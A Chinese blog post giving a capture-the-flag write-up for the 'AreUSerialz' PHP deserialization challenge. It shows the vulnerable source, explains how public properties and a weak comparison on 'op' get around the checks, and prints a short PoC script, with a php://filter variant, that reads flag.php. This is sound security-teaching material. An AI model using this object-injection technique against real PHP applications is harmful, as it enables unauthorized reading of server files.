当前位置:网站首页>[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz
2022-06-29 17:46:00 【华为云】
题目
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}分析
首先需要绕过is_invalid函数,is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。==即我们最后在构造poc的时候,用public来修饰属性==
首先我们看到了read()里面的file_get_contents敏感函数process()中有调用了read()函数,条件是op == “2”
__destruct()调用了process()函数,条件是op!==“2”
可以看到这里有个弱类型的问题,构造op=2即可绕过了
<?phpclass FileHandler { public $op=2; public $filename="flag.php"; public $content="HappyCoder";}$a=new FileHandler();echo serialize($a);?>或者用php伪协议来读public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
边栏推荐
- Let's start with a bug that was cheated by the app store
- What is a SCM system? What are the advantages of a supply chain management system?
- Mac installation php7.2
- phpunit骚操作之静态类的部分mock
- 国外LEAD赚钱,做个网站真的很简单
- SRM系统是什么系统?如何应用SRM系统?
- Sword finger offer 13 Robot range of motion (BFS)
- mongoTemplate - distinct 使用
- 3H proficient in opencv (IX) - the simplest face detection
- Younger sister Juan takes you to learn JDBC - 2-day dash Day1
猜你喜欢

How to solve MySQL 1045 error in Linux

Does MySQL support foreign keys

On adding and subtracting dates

How to create and delete MySQL triggers
![[the sixth operation of modern signal processing]](/img/49/7844a00077e56fd4d73e3ba515f8a6.png)
[the sixth operation of modern signal processing]

【WebDriver】使用AutoIt上传文件

Yurun multidimensional makes efforts in the charity field and bravely resists the corporate public welfare banner

ISO 32000-2 international standard 7.7

YoloV6+TensorRT+ONNX:基于WIN10+TensorRT8+YoloV6+ONNX的部署

传承中华美德,关注中老年大健康,育润奶粉敬老情浓
随机推荐
Inherit Chinese virtues, pay attention to the health of the middle-aged and the elderly, and Yurun milk powder has strong respect for the elderly
[the sixth operation of modern signal processing]
How to use the chart control of the b/s development tool devextreme - customize the axis position?
R语言使用自定义函数编写深度学习线性激活函数、并可视化线性激活函数
Redux源码分析之createStore
R language uses user-defined functions to write deep learning leaky relu activation functions and visualize leaky relu activation functions
Timer interrupt experiment based on stm32f103zet6 library function
分割回文串[dp + dfs组合]
R语言ggplot2可视化:使用patchwork包(直接使用加号+)将两个ggplot2可视化结果横向组合、接着再和第三个图像横向组合起来(三幅图各占比例为50%、25%、25%)
基于STM32F103ZET6库函数PWM输出实验
Web Scraping with Beautiful Soup for Data Scientist
Bottom level internal skill cultivation
Partial mock of static class of phpunit operation
How MySQL queries character set codes of tables
Yurun multidimensional makes efforts in the charity field and bravely resists the corporate public welfare banner
mongoTemplate - distinct 使用
Maidong Internet won the bid of Dajia Insurance Group
Openfeign use step polling strategy and weight log4j configuration of openfeign interceptor
基于STM32F103ZET6库函数独立看门狗(IWDG)实验
Face recognition 4- research on Baidu commercial solutions